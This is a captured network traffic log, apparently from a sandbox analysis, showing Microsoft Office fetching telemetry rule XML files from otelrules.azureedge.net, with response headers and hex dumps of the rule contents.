2024-11-20 06:49:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:07 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064907Z-r1d97b9957789g82hC1TEBstx000000008fg000000006sht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:07 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064907Z-1777c6cb754whff4hC1TEBcd6c00000007x0000000006cfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064907Z-185f5d8b95c4bhwphC1NYCs8gw0000000a0g000000009cq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:08 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064908Z-185f5d8b95c4vwv8hC1NYCy4v40000000a30000000001xee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:08 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:07 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:08 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064908Z-1777c6cb754xrr98hC1TEB3kag000000095g000000001s5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:08 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:08 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:08 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064908Z-r1d97b99577kk29chC1TEBemmg00000008k0000000006g9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:08 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:08 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:08 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064908Z-r1d97b99577ckpmjhC1TEBrzs000000008p00000000006bf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:08 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:08 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:08 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064908Z-185f5d8b95c4hl5whC1NYCeex000000009v00000000044yb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:08 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:08 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:08 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064908Z-1777c6cb754dqf99hC1TEB5nps0000000950000000003ahm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:08 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:08 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:08 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064908Z-185f5d8b95c68cvnhC1NYCfn7s00000009w0000000008d94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:08 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:09 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064909Z-185f5d8b95crl6swhC1NYC3ueg0000000a0g00000000auqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:09 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064909Z-185f5d8b95ctl8xlhC1NYCn94g00000009yg00000000a4v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:09 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
